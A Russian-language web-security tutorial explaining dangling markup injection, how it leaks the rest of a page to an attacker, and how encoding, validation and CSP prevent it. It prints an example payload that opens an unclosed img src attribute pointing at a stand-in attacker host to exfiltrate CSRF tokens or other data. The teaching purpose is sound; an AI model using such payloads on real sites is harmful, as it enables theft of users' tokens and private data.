Инъекция «висящей разметки» (dangling markup)
В этом разделе мы объясним, что такое инъекция «висящей разметки» (dangling markup), как работает типичный эксплойт и как предотвращать такие атаки.
Что такое инъекция «висящей разметки»?
Инъекция «висящей разметки» — это техника междоменного захвата данных в ситуациях, когда полноценная XSS-атака невозможна.
Предположим, приложение небезопасно встраивает в свои ответы данные, контролируемые атакующим:
<input type="text" name="input" value="CONTROLLABLE DATA HEREДопустим также, что приложение не фильтрует и не экранирует символы > или ". Атакующий может использовать следующую конструкцию, чтобы вырваться из заключённого в кавычки значения атрибута и из окружающего тега, вернувшись в HTML-контекст:
">В такой ситуации атакующий, естественно, попытается выполнить XSS. Но предположим, что обычная XSS-атака невозможна из-за фильтров ввода, политики безопасности контента или других препятствий. Тогда всё ещё может быть возможно провести атаку «висящей разметкой» с использованием такого пейлоада:
"><img src='//attacker-website.com?Этот пейлоад создаёт тег img и задаёт начало атрибута src, содержащего URL на сервере атакующего. Обратите внимание, что пейлоад не закрывает атрибут src, который остаётся «висящим». Когда браузер парсит ответ, он будет смотреть вперёд, пока не встретит одинарную кавычку, чтобы завершить атрибут. Всё до этого символа будет считаться частью URL и будет отправлено на сервер атакующего в составе строки запроса URL. Любые неалфанумерические символы, включая переводы строк, будут закодированы в формате URL. Следствие атаки в том, что атакующий может захватить часть ответа приложения, следующую за точкой инъекции, и эта часть может содержать конфиденциальные данные. В зависимости от функциональности приложения, это могут быть CSRF‑токены, email‑сообщения или финансовые данные.
Любой атрибут, создающий внешний запрос, может быть использован для атаки «висящей разметкой».
Следующая лабораторная задача сложна, поскольку все внешние запросы заблокированы. Тем не менее существуют некоторые теги, которые позволяют сохранять данные и впоследствии извлекать их с внешнего сервера. Решение этой лабораторной может потребовать взаимодействия с пользователем.
Как предотвращать атаки «висящей разметкой»
Вы можете предотвращать атаки «висящей разметкой» с помощью тех же общих мер, что и для предотвращения XSS: кодируйте данные при выводе и валидируйте ввод при получении.
Также вы можете смягчить некоторые атаки «висящей разметкой» с помощью политики безопасности контента (CSP). Например, можно предотвратить некоторые (но не все) атаки, применив политику, которая запрещает таким тегам, как img, загружать внешние ресурсы.
Last updated